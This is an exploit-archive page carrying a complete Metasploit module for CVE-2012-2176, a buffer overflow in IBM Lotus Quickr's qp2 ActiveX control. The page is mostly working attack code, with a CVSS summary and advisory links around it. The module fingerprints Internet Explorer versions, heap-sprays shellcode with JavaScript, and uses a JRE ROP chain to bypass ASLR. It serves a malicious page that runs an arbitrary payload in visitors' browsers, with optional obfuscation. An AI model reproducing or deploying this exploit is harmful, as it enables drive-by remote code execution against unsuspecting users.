IBM Lotus QuickR qp2 ActiveX Buffer Overflow

2012.12.31
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank, :classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}", :method => "Attachment_Times" }) def initialize(info={}) super(update_info(info, 'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow vulnerability on the UploadControl ActiveX. The vulnerability exists in the handling of the "Attachment_Times" property, due to the insecure usage of the _swscanf. The affected ActiveX is provided by the qp2.dll installed with the IBM Lotus Quickr product. This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7, using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module msvcr71.dll is used. This one is installed with the qp2 ActiveX. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gaurav Baruah', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-2176' ], [ 'OSVDB', '82166' ], [ 'BID', '53678'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-134/' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ] ], 'Payload' => { 'Space' => 978, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # qp2.dll 8.1.0.1800 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ] # pop esp # ret # msvcr71.dll ], 'Privileged' => false, 'DisclosureDate' => "May 23 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) # Land the payload at 0x0c0c0c0c case my_target when targets[7] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{my_target['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } | else # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using JRE ROP") rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot}) end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) bof = rand_text_alpha(512) # offset to eip" bof << [my_target.ret].pack("V") if my_target['Rop'] bof << rand_text_alpha(4) bof << [0x0c0c0c0c].pack("V") # new stack end my_bof = Rex::Text.to_unescape(bof) html = %Q| <html> <head> <script> #{js} </script> </head> <body> <object id="UploadControl" width="100%" height="100%" classid="clsid:05D96F71-87C6-11D3-9BE4-00902742D6E0"> <param name="General_Mode" value="1"> <param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}"> </object> <script> var bof = unescape("#{my_bof}"); var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} "; my_time += bof; my_time += " GMT"; UploadControl.Attachment_Times = my_time; </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end

References:

http://www-01.ibm.com/support/docview.wss?uid=swg21596191
http://www.zerodayinitiative.com/advisories/ZDI-12-134/


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